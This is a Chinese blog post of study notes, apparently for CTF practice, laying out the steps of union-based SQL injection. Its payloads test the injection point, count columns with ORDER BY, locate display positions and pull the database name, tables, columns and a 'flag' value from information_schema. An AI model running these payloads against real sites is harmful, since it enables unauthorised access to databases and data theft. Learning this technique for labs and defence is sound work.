SQL 显错注入的基本步骤

又回来了,哎,感觉这块是短板,我需要花三个月时间把这块补一补。

显错注入,从找点,到最后显名的完整流程。

这是个流程框架,内部可能还会有一些细微修改。

 

1:判断注入点
and 1=1 正常
and 1=2 出错

2:判断字段总数
and 1=1 order by 1
and 1=1 order by 2
and 1=1 order by 3
直到出错,得到总数

3:判断显示位置
and 1=1 union select 1
and 1=1 union select 1,2
and 1=1 union select 1,2,3
直到正确,或者有字符显示出来

4:查询当前库名
and 1=1 union select 1,2,database()
等它显示出来

5:查表名
and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1
等它显示出来

6:查列名
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 0,1
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 1,1
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 2,1
直到出错

7:字段内容
and 1=2 union select 1,Id,flag from 表名 limit 0,1

posted @   穷到底  阅读(352)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
点击右上角即可分享
微信分享提示